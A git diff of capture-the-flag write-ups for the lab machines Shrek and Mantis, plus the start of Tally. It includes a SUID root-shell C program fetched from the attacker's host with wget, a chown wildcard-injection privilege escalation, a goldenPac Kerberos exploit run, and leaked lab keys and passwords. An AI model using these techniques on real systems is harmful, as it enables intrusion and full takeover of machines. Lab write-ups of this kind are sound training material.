yiPvEG4LnM4gGeHhn9CZcrFJSYKIS0s+410YQvpECx09LaLBtq5y0QNkIspuKSPB + UDidMCyboqlc47D6SgNk7WQqut9tFj6PXE3chFFBHGfZ3hF9HnbUWBEiqyvOlAnm + -----END RSA PRIVATE KEY----- + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek] + → chmod 600 key + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek] + → ssh -i key sec@10.10.10.47 + The authenticity of host '10.10.10.47 (10.10.10.47)' can't be established. + ECDSA key fingerprint is SHA256:elYdm7BTN0q3wYoaIdUyw1kBlMFTls2dWHgybMAYav8. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.47' (ECDSA) to the list of known hosts. + Enter passphrase for key 'key': shr3kisb3st! + Last login: Thu Oct 1 07:41:33 2020 + [sec@shrek ~]$ id + uid=1000(sec) gid=100(users) groups=100(users),10(wheel),95(storage),98(power) + [sec@shrek ~]$ cat user.txt + d353869dc904f1f38d24fa118b397b19 + + + +and we have the user flag! + +## **Part 3 : Getting Root Access** + +To get root access onto the box, we need to first privesc from the user sec to farquad: + + + [sec@shrek ~]$ sudo -l + User sec may run the following commands on shrek: + (farquad) NOPASSWD: /usr/bin/vi + + +Get into vi using the user farquad using sudo -u: + + + [sec@shrek ~]$ sudo -u farquad vi + + +Then type in **:!bash** to drop into a shell as farquad: + + + + [farquad@shrek sec]$ id + uid=1001(farquad) gid=100(users) groups=100(users),7(lp),10(wheel),91(video),92(audio),93(optical),95(storage) + + [farquad@shrek sec]$ cd ~ + [farquad@shrek ~]$ ls + mirror + [farquad@shrek ~]$ ./mirror + Mirror, Mirror on the wall who is the most handsome of all? + Of course you Lord Farquad + + +There we get a funny binary that mimics the mirror from the shrek movie, one may think this is a binexp challenge but when decompiled we see that it's a rabbit hole, since it prints the message and does nothing else. The idea here was to check out cronjobs (which we can guess from running pspy), which hints us towards a cronjob that is running every 5 minutes. + + + 2020/08/14 08:50:19 CMD: UID=0 PID=1178 | /usr/bin/CROND -n + 2020/08/14 08:50:19 CMD: UID=0 PID=1176 | /usr/bin/CROND -n + 2020/08/14 08:50:19 CMD: UID=0 PID=1179 | /usr/bin/python /root/chown + 2020/08/14 08:50:19 CMD: UID=0 PID=1180 | /bin/sh -c cd /usr/src; /usr/bin/chown nobody:nobody * + 2020/08/14 08:50:19 CMD: UID=0 PID=1181 | /bin/sh -c cd /usr/src; /usr/bin/chown nobody:nobody * + + +Farquaad's shell is kind of a rabbithole in itself, so back into sec's shell, we try to find files that were modified after the timestamps we find inside sec's home directory: + + + [sec@shrek ~]$ ls -lash + total 28K + 4.0K drwx------ 3 sec users 4.0K Aug 15 2017 . + 4.0K drwxr-xr-x 4 root root 4.0K Aug 11 2017 .. + 0 -rw------- 1 root root 0 Aug 22 2017 .bash_history + 4.0K -rw-r--r-- 1 sec users 21 Feb 14 2017 .bash_logout + 4.0K -rw-r--r-- 1 sec users 57 Feb 14 2017 .bash_profile + 4.0K -rw-r--r-- 1 sec users 141 Feb 14 2017 .bashrc + 4.0K drwxr-xr-x 2 root root 4.0K Aug 16 2017 .ssh + 4.0K -r--r--r-- 1 root root 33 Aug 22 2017 user.txt + + [sec@shrek ~]$ find / -newermt 2017-08-20 ! -newermt 2017-08-24 -ls 2>/dev/null + 16385 4 drwxr-xr-x 46 root root 4096 Aug 21 2017 /etc + 18518 4 -rw-r--r-- 1 root root 6 Aug 23 2017 /etc/hostname + 27466 4 drwxr-xr-x 5 root root 4096 Aug 23 2017 /etc/netctl + 18515 4 -rw-r--r-- 1 root root 389 Aug 23 2017 /etc/netctl/static + 35103 8 -rw-r--r-- 1 root root 4606 Aug 21 2017 /etc/vsftpd.conf + 131506 4 drwxr-xr-x 4 root root 4096 Aug 23 2017 /etc/systemd/system + 138139 4 -rw-r--r-- 1 root root 196 Aug 23 2017 /etc/systemd/system/netctl@static.service + 131581 4 drwxr-xr-x 2 root root 4096 Aug 23 2017 /etc/systemd/system/multi-user.target.wants + 138140 0 lrwxrwxrwx 1 root root 41 Aug 23 2017 /etc/systemd/system/multi-user.target.wants/netctl@static.service -> /etc/systemd/system/netctl@static.service + 33988 4 -rw------- 1 root root 929 Aug 21 2017 /etc/shadow + 33931 4 -rw-r--r-- 1 root root 968 Aug 21 2017 /etc/passwd + 131255 4 drwxr-x--- 3 root root 4096 Aug 22 2017 /root + 17 4 -r--r--r-- 1 root root 33 Aug 22 2017 /home/sec/user.txt + 18 0 -rw------- 1 root root 0 Aug 22 2017 /home/sec/.bash_history + 131595 4 drwxr-xr-x 2 root root 4096 Aug 23 2017 /var/lib/dhcpcd + 138091 4 drwxr-xr-x 2 root root 4096 Aug 21 2017 /var/spool/cron + 138145 4 -rw------- 1 root root 97 Aug 22 2017 /var/spool/cron/root + 138108 8196 -rw-r----- 1 root systemd-journal 8388608 Aug 23 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/user-1001.journal + 138101 16388 -rw-r----- 1 root systemd-journal 16777216 Aug 21 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/system@00055747c657656c-ad9ea2c5440b64ec.journal~ + 138138 8192 -rw-r----- 1 root systemd-journal 8388608 Aug 21 2017 /var/log/journal/84d230a047b241c6be827bd5ce531868/system@0005574ac144c200-f23de797a5b2e762.journal~ + 137786 16 -rw------- 1 root utmp 15744 Aug 22 2017 /var/log/btmp.1 + 131087 8 -rw------- 1 root root 7948 Aug 23 2017 /var/log/vsftpd.log.1 + 137811 264656 -rw-r--r-- 1 root root 271001726 Aug 23 2017 /var/log/httpd/access_log.1 + 137906 12 -rw-r--r-- 1 root root 9833 Aug 23 2017 /var/log/httpd/error_log.1 + 2100 4 drwxr-xr-x 2 sec root 4096 Aug 23 2017 /usr/src + 20283 4 -rw-r--r-- 1 root root 91 Aug 22 2017 /usr/src/thoughts.txt + + +Here we are hinted towards /usr/src/thoughts.txt, and by running pspy earlier we know that there is a cronjob being run against the /usr/src directory, therefore we can exploit the wildcard in the cronjob running **chown nobody:nobody *** there. + + + [sec@shrek src]$ ls -lash + total 12K + 4.0K drwxr-xr-x 2 sec root 4.0K Aug 14 10:57 . + 4.0K drwxr-xr-x 8 sec root 4.0K Aug 16 2017 .. + 4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt + + + +The idea here is that thoughts.txt is readable by sec, and yet is owned by root. We need to take advantage of chown's wildcard like so: + + + [sec@shrek src]$ touch -- -reference=thoughts.txt + [sec@shrek src]$ ls -lash + total 12K + 4.0K drwxr-xr-x 2 sec root 4.0K Aug 14 10:59 . + 4.0K drwxr-xr-x 8 sec root 4.0K Aug 16 2017 .. + 0 -rw-r--r-- 1 sec users 0 Aug 14 10:59 '-reference=thoughts.txt' + 4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt + + + +Now we have created a file named "--reference=thoughts.txt" which will be passed as an arguement to chown when it is run. Once that's done, it's possible to create a binary and set it's SUID bit. After the task runs and showns the binary, it's possible to execute code as root, such as spawning a bash shell! + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek] + → vim nihilist.c + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek] + → cat nihilist.c + #include <****stdio.h> + #include <****stdlib.h> + #include <****unistd.h> + + int main( int argc, char *argv[] ) + { + setreuid(0,0); + execve("/usr/bin/bash", NULL, NULL); + } + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek] + → gcc nihilist.c -o privesc + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek] + → ls -lash + total 36K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Jul 7 13:06 . + 4.0K drwxr-xr-x 9 nothing nothing 4.0K Jul 7 12:36 .. + 4.0K -rw-r--r-- 1 nothing nothing 153 Jul 7 13:06 nihilist.c + 4.0K -rw------- 1 nothing nothing 1.8K Jul 7 12:39 key + 20K -rwxr-xr-x 1 nothing nothing 17K Jul 7 13:06 privesc + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Shrek] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + +Now that's done we wait for the cronjob to run and we can : + + + [sec@shrek ~]$ cd /usr/src/ + [sec@shrek src]$ ls -lash + total 12K + 4.0K drwxr-xr-x 2 sec root 4.0K Aug 23 2017 . + 4.0K drwxr-xr-x 8 sec root 4.0K Oct 1 2020 .. + 4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt + [sec@shrek src]$ wget http://10.10.14.8:9090/privesc + --2021-07-07 11:00:19-- http://10.10.14.8:9090/privesc + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 16656 (16K) [application/octet-stream] + Saving to: ‘privesc’ + + privesc 100%[======================================================================================================================================================================================>] 16.27K 35.8KB/s in 0.5s + + 2021-07-07 11:00:20 (35.8 KB/s) - ‘privesc’ saved [16656/16656] + + [sec@shrek src]$ chmod 4755 privesc + + [sec@shrek src]$ touch -- --reference=thoughts.txt + + [sec@shrek src]$ ls -lash + total 32K + 4.0K drwxr-xr-x 2 sec root 4.0K Jul 7 11:00 . + 4.0K drwxr-xr-x 8 sec root 4.0K Oct 1 2020 .. + 20K -rwsr-xr-x 1 sec users 17K Jul 7 10:48 privesc + 0 -rw-r--r-- 1 sec users 0 Jul 7 11:00 '--reference=thoughts.txt' + 4.0K -rw-r--r-- 1 root root 91 Aug 22 2017 thoughts.txt + + + [sec@shrek src]$ date + Wed Jul 7 11:01:26 UTC 2021 + + [sec@shrek src]$ date + Wed Jul 7 11:20:55 UTC 2021 + [sec@shrek src]$ ls -lash privesc + 20K -rwsr-sr-x 1 root root 17K Jul 7 11:06 privesc + [sec@shrek src]$ ./privesc + + bash-4.4# id + uid=0(root) gid=100(users) groups=100(users),10(wheel),95(storage),98(power) + bash-4.4# cat /root/root.txt + 27XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/4_graph.png) + diff --git a/Hard/5.md b/Hard/5.md new file mode 100644 index 0000000..3bd5e24 --- /dev/null +++ b/Hard/5.md @@ -0,0 +1,330 @@ +# Mantis Writeup + +![](img/5.png) + +## Introduction : + +Mantis is a hard windows box released back in September 2017. + +## **Part 1 : Initial Enumeration** + +As always we start with nmap to scan for open ports, using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.17/23 ] [ /dev/pts/3 ] [~] + → nmap -sCV 10.10.10.52 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-25 17:06 BST + Nmap scan report for 10.10.10.52 + Host is up (0.57s latency). + Not shown: 984 closed ports + PORT STATE SERVICE VERSION + 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-25 14:10:56Z) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) + 445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB) + 464/tcp open kpasswd5? + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 636/tcp open tcpwrapped + 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) + 3269/tcp open tcpwrapped + 49152/tcp open msrpc Microsoft Windows RPC + 49153/tcp open msrpc Microsoft Windows RPC + 49154/tcp open msrpc Microsoft Windows RPC + 49155/tcp open msrpc Microsoft Windows RPC + 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 49158/tcp open msrpc Microsoft Windows RPC + Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: -36m00s, deviation: 2h18m34s, median: -1h56m01s + | smb-os-discovery: + | OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1) + | OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 + | Computer name: mantis + | NetBIOS computer name: MANTIS\x00 + | Domain name: htb.local + | Forest name: htb.local + | FQDN: mantis.htb.local + |_ System time: 2020-08-25T10:11:51-04:00 + | smb-security-mode: + | account_used: <****blank> + | authentication_level: user + | challenge_response: supported + |_ message_signing: required + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2020-08-25T14:11:53 + |_ start_date: 2020-08-25T14:10:13 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 191.16 seconds + +## **Part 2 : Getting User Access** + +This box is one example of a machine that has alot of ports opened, and yet these are not enough. you need to enumerate every port on this machine using nmap's -p- flag: + + + [ 10.10.14.7/23 ] [ /dev/pts/8 ] [~] + → nmap -p- 10.10.10.52 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-02 19:57 GMT + Nmap scan report for 10.10.10.52 + Host is up (0.037s latency). + Not shown: 65509 closed ports + PORT STATE SERVICE + 53/tcp open domain + 88/tcp open kerberos-sec + 135/tcp open msrpc + 139/tcp open netbios-ssn + 389/tcp open ldap + 445/tcp open microsoft-ds + 464/tcp open kpasswd5 + 593/tcp open http-rpc-epmap + 636/tcp open ldapssl + **1337/tcp open waste** + 1433/tcp open ms-sql-s + 3268/tcp open globalcatLDAP + 3269/tcp open globalcatLDAPssl + 5722/tcp open msdfsr + 8080/tcp open http-proxy + 9389/tcp open adws + 49152/tcp open unknown + 49153/tcp open unknown + 49154/tcp open unknown + 49155/tcp open unknown + 49157/tcp open unknown + 49158/tcp open unknown + 49172/tcp open unknown + 50255/tcp open unknown + 57110/tcp open unknown + 57114/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 32.05 seconds + + +And here you see the port that we missed earlier: 1337: + +![](prg/5/1.png) + +So let's enumerate it with gobuster and a wordlist from seclists: + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~] + → sudo apt install seclists gobuster -y + + [ 10.10.14.7/23 ] [ /dev/pts/6 ] [~] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.52:1337/ + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.52:1337/ + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2021/01/02 20:09:19 Starting gobuster + =============================================================== + /secure_notes (Status: 301) + Progress: 145379 / 220561 (65.91%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2021/01/02 20:18:25 Finished + =============================================================== + + +And here we found the /secure_notes directory: + +![](prg/5/2.png) + +Let's see what's in dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt: + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~] + → curl http://10.10.10.52:1337/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt + 1. Download OrchardCMS + 2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database + 3. Launch IIS and add new website and point to Orchard CMS folder location. + 4. Launch browser and navigate to http://localhost:8080 + 5. Set admin password and configure sQL server connection string. + 6. Add blog pages with admin user. + + Credentials stored in secure format + OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001 + SQL Server sa credentials file namez% + + +Now here we have a bit to talk about, first of all the string of text in the note name: + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~] + → echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d + 6d2424716c5f53405f504073735730726421 + + + + +And here we get a hex string (0-9-a-f) so let's convert it back to ascii: + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~] + → echo 6d2424716c5f53405f504073735730726421 | xxd -r -p + m$$ql_S@_P@ssW0rd! + + + +And here we have a sql password! + +And that binary string gives us the following password: @dm!n_P@ssW0rd! + + + @dm!n_P@ssW0rd! + m$$ql_S@_P@ssW0rd! + + + +The next part of this box is on port 8080 which is a blog: + +![](prg/5/3.png) + + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [~] + → curl 10.10.10.52:8080 2>/dev/null | grep Powered + + + Powered by [Orchard](http://www.orchardproject.net) (C) The Theme Machine 2021. + + + + +Let's try to find the administrator page of this Orchard website using gobuster: + + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [~] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.52:8080 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.52:8080 + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2021/01/02 20:47:55 Starting gobuster + =============================================================== + /archive (Status: 200) + /blogs (Status: 200) + **/admin (Status: 302)** + /tags (Status: 200) + /Archive (Status: 200) + /pollArchive (Status: 200) + /Blogs (Status: 200) + /newsarchive (Status: 200) + /news_archive (Status: 200) + + + +Let's investigate the /admin page with the credentials (admin:@dm!n_P@ssW0rd!) we found earlier: + +![](prg/5/4.png) + +And we're logged in as admin! + +![](prg/5/5.png) + +However this is kind of a rabbithole, therefore you see why this can be a hard box, The next step is to poke around port 1433 + + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [~] + → sudo apt install dbeaver -y + + + +` ![](prg/5/6.png) ![](prg/5/7.png) ![](prg/5/8.png) ![](prg/5/9.png) + +And here we have found the user james' credentials: + + + james@htb.local + J@m3s_P@ssW0rd! + + + +## **Part 3 : Getting Root Access** + +Now in order to gain root access on the box we're going to use psexec: + + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [~] + → locate goldenPac.py + /usr/share/doc/python3-impacket/examples/goldenPac.py + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [~] + → cd /usr/share/doc/python3-impacket/examples/ + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [doc/python3-impacket/examples] + → python3 goldenPac.py -dc-ip 10.10.10.52 -target-ip 10.10.10.52 htb.local/james@mantis.htb.local + Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation + + Password: + [*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103 + + + +Once you have pasted in jame's password, wait a bit for impacket to do it's magic, and you will get root shell on the box : + + + [ 10.10.14.7/23 ] [ /dev/pts/9 ] [doc/python3-impacket/examples] + → python3 goldenPac.py -dc-ip 10.10.10.52 -target-ip 10.10.10.52 htb.local/james@mantis.htb.local + Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation + + Password: + [*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103 + + [-] Couldn't get forest info ([Errno Connection error (htb.local:445)] timed out), continuing + [*] Attacking domain controller 10.10.10.52 + [*] 10.10.10.52 found vulnerable! + [*] Requesting shares on 10.10.10.52..... + [*] Found writable share ADMIN$ + [*] Uploading file cviDLGQS.exe + [*] Opening SVCManager on 10.10.10.52..... + [*] Creating service dqDR on 10.10.10.52..... + [*] Starting service dqDR..... + [!] Press help for extra shell commands + Microsoft Windows [Version 6.1.7601] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + C:\Windows\system32> + C:\Windows\system32>whoami + nt authority\system + + + +From here type both flags: + + + C:\Windows\system32>type C:\Users\james\Desktop\user.txt + 8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + + C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt + 20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you have it! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/5_graph.png) + diff --git a/Hard/6.md b/Hard/6.md new file mode 100644 index 0000000..956f02f --- /dev/null +++ b/Hard/6.md @@ -0,0 +1,797 @@ +# Tally Writeup + +![](img/7.png) + +## Introduction : + +Tally is a hard windows box released back in November 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak] + → sudo nmap -vvv -sTU -p- 10.10.10.59 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 139/tcp on 10.10.10.59 + Discovered open port 135/tcp on 10.10.10.59 + Discovered open port 21/tcp on 10.10.10.59 + Discovered open port 80/tcp on 10.10.10.59 + Discovered open port 445/tcp on 10.10.10.59 + Discovered open port 47001/tcp on 10.10.10.59 + Discovered open port 49665/tcp on 10.10.10.59 + Discovered open port 32846/tcp on 10.10.10.59 + Discovered open port 32844/tcp on 10.10.10.59 + Discovered open port 49666/tcp on 10.10.10.59 + Discovered open port 49669/tcp on 10.10.10.59 + Discovered open port 32843/tcp on 10.10.10.59 + Discovered open port 15567/tcp on 10.10.10.59 + Discovered open port 81/tcp on 10.10.10.59 + Discovered open port 49670/tcp on 10.10.10.59 + Discovered open port 5985/tcp on 10.10.10.59 + Discovered open port 1433/tcp on 10.10.10.59 + Discovered open port 49668/tcp on 10.10.10.59 + Discovered open port 808/tcp on 10.10.10.59 + Discovered open port 49667/tcp on 10.10.10.59 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + + [ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak] + → nmap -sCV -p21,80,81,135,139,445,808,1443 10.10.10.59 + Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 18:12 CET + Nmap scan report for 10.10.10.59 + Host is up (0.037s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-syst: + |_ SYST: Windows_NT + 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-generator: Microsoft SharePoint + | http-ntlm-info: + | Target_Name: TALLY + | NetBIOS_Domain_Name: TALLY + | NetBIOS_Computer_Name: TALLY + | DNS_Domain_Name: TALLY + | DNS_Computer_Name: TALLY + |_ Product_Version: 10.0.14393 + |_http-server-header: Microsoft-IIS/10.0 + 81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Bad Request + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds + 808/tcp open ccproxy-http? + 1443/tcp closed ies-lm + Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: -1s, deviation: 0s, median: -1s + | ms-sql-info: + | 10.10.10.59:1433: + | Version: + | name: Microsoft SQL Server 2016 RTM + | number: 13.00.1601.00 + | Product: Microsoft SQL Server 2016 + | Service pack level: RTM + | Post-SP patches applied: false + |_ TCP port: 1433 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-12-22T17:12:21 + |_ start_date: 2020-12-22T17:08:42 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 46.79 seconds + + +## **Part 2 : Getting User Access** + +nmap found port 80 so let's run gobuster on it: + + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally] + → echo '10.10.10.59 tally.htb' >> /etc/hosts + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u http://tally.htb/ + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://tally.htb/ + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/12/22 18:18:15 Starting gobuster + =============================================================== + /_app_bin (Status: 301) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wt/forms/common.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/3082: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin/operations.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/1033: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/50: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wp/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/masterpage/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/60: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + [ERROR] 2020/12/22 18:18:30 [!] Get http://tally.htb/_catalogs/lt/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers) + /_layouts (Status: 301) + /_controltemplates (Status: 301) + /_layouts/1033 (Status: 301) + /_layouts/1033/avreport.htm (Status: 200) + /_layouts/1033/filedlg.htm (Status: 200) + /_layouts/1033/fontdlg.htm (Status: 200) + /_layouts/1033/error.htm (Status: 200) + /_layouts/1033/images (Status: 301) + /_layouts/1033/iframe.htm (Status: 200) + /_layouts/1033/instable.htm (Status: 200) + /_layouts/1033/menu.htc (Status: 200) + /_layouts/1033/menubar.htc (Status: 200) + /_layouts/1033/selcolor.htm (Status: 200) + /_layouts/1033/spthemes.xml (Status: 200) + /_layouts/1033/spthemes.xsd (Status: 200) + /_layouts/accessdenied.aspx (Status: 302) + /_layouts/addfieldfromtemplate.aspx (Status: 302) + /_layouts/aclinv.aspx (Status: 302) + /_layouts/addrole.aspx (Status: 302) + /_layouts/addcontenttypetolist.aspx (Status: 302) + /_layouts/addwrkfl.aspx (Status: 302) + /_layouts/adminrecyclebin.aspx (Status: 302) + /_layouts/approve.aspx (Status: 302) + /_layouts/advsetng.aspx (Status: 302) + /_layouts/aspxform.aspx (Status: 302) + /_layouts/addnavigationlinkdialog.aspx (Status: 200) + /_layouts/addfiletype.aspx (Status: 200) + /_layouts/areacachesettings.aspx (Status: 200) + /_layouts/areanavigationsettings.aspx (Status: 200) + /_layouts/addcontentsource.aspx (Status: 200) + /_layouts/areatemplatesettings.aspx (Status: 200) + /_layouts/areawelcomepage.aspx (Status: 200) + /_layouts/associatedgroups.aspx (Status: 302) + /_layouts/assocwrkfl.aspx (Status: 302) + /_layouts/addservernamemappings.aspx (Status: 200) + /_layouts/assetedithyperlink.aspx (Status: 200) + /_layouts/assetportalbrowser.aspx (Status: 200) + /_layouts/audience_defruleedit.aspx (Status: 200) + /_layouts/audience_edit.aspx (Status: 200) + /_layouts/audience_main.aspx (Status: 200) + /_layouts/audience_sched.aspx (Status: 200) + /_layouts/assetuploader.aspx (Status: 200) + /_layouts/audience_memberlist.aspx (Status: 200) + /_layouts/audience_list.aspx (Status: 200) + /_layouts/assetimagepicker.aspx (Status: 200) + /_layouts/backlinks.aspx (Status: 302) + /_layouts/avreport.aspx (Status: 302) + /_layouts/authenticate.aspx (Status: 302) + /_layouts/bdcadminui/addbdcapplication.aspx (Status: 200) + /_layouts/bdcadminui/bdcapplications.aspx (Status: 200) + /_layouts/auditsettings.aspx (Status: 200) + /_layouts/barcodeimagefromitem.aspx (Status: 200) + /_layouts/bdcadminui/bdcentities.aspx (Status: 200) + /_layouts/bdcadminui/editbdcaction.aspx (Status: 200) + /_layouts/audience_view.aspx (Status: 200) + /_layouts/bdcadminui/addbdcaction.aspx (Status: 200) + + +Basically out of this garbage you had to find _layouts/15/viewlsts.aspx + +![](prg/6/1.png) + +Into Documents there's a file called "ftp-details" + +![](prg/6/2.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally] + → mv ~/Downloads/ftp-details.docx . + mv: cannot stat '/home/nothing/Downloads/ftp-details.docx': No such file or directory + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally] + → ls -lash ftp-details.docx + 12K -rw-r--r-- 1 nothing nothing 11K Dec 22 18:23 ftp-details.docx + + [ 10.10.14.6/23 ] 